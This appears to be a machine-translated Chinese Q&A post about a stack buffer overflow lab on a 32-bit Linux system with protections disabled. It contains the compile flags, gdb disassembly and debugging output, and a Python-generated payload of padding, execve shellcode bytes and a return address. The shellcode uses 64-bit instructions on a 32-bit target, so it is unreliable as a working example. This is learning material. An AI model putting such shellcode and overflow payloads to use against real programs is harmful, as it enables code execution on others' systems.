我正在进行堆栈溢出实验,aslr和nx禁用 . 但是gdb出现了一个奇怪的结果 .
环境:
Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
禁用aslr:
echo 0 > /proc/sys/kernel/randomize_va_space
使用execstatck编译源代码(Debian没有名为exec-shield的内核参数):
gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
这是对问题的描述:
(gdb) disas main
Dump of assembler code for function main:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: sub $0x208,%esp
0x08048425 <+9>: mov 0xc(%ebp),%eax
0x08048428 <+12>: add $0x4,%eax
0x0804842b <+15>: mov (%eax),%eax
0x0804842d <+17>: mov %eax,0x4(%esp)
0x08048431 <+21>: lea -0x200(%ebp),%eax
0x08048437 <+27>: mov %eax,(%esp)
0x0804843a <+30>: call 0x8048300 <strcpy@plt>
0x0804843f <+35>: mov $0x0,%eax
0x08048444 <+40>: leave
0x08048445 <+41>: ret
End of assembler dump.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()
程序被引导到0xbafff87d并崩溃 . 这是在期待 .
所以我将地址从0xbafff87d更改为shellcode的地址:0xbffff87d .
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip 0xbffff88d 0xbffff88d
但该程序被引导到0xbffff88d而不是0xbffff87d并崩溃 . 返回地址的最后一个字节已被修改 . 为什么?
我尝试在函数'leave'之前添加一个断点(0x08048444 <40>:离开):
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff518: 0x41414141 0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
eip仍然领先于0xbffff88d .
我无法弄清楚是什么原因使得返回地址被修改以及什么时候开始了 .
也许我错过了一些知识 . 除了上面的问题,我还认为gdb有时会“缓存”调试程序的运行结果,因为有时gdb会在我已经更改参数时向我显示相同的结果 .
提前致谢 :)
=======
更新回答 Leeor
的评论:
它也在gdb外崩溃 . 分段故障 . 当发生segfaulted时,coredump文件显示eip为0xbffff88b . (当我的覆盖值为0xbffff87d时,最后一个字节被修改)
手动覆盖返回地址:
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
(gdb) run test
Starting program: /home/xxx/tests/a.out test
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xb7e7ae46
(gdb) x/2 0xbffff71c
0xbffff71c: 0xb7e7ae46 0x00000002
(gdb) set *0xbffff71c=0xbffff87d
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff87d in ?? ()
这是按照我的预期工作(在0xbffff87d没有有效的shellcode,因为我运行参数 test
. 我发现当发生"illegal instruction"错误时,gdb仍然会告诉你它的段错误) .
但是当我使用溢出有效负载运行它时,它仍然无法正常工作:
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()
返回地址的最后一个字节被修改 .
1 回答
我说首先执行到正确的地址,只是那里的指令没有发生崩溃 . 尝试以下一些方法:
使用
si
而不是c
在
0xbffff87d
上设置断点反汇编代码
0xbffff87d
由于您的地址在堆栈中,因此堆栈布局更改时内容可能会有所不同 . 请注意,命令行参数也在堆栈上,因此使用
test
运行并且实际有效负载使用不同的堆栈布局 .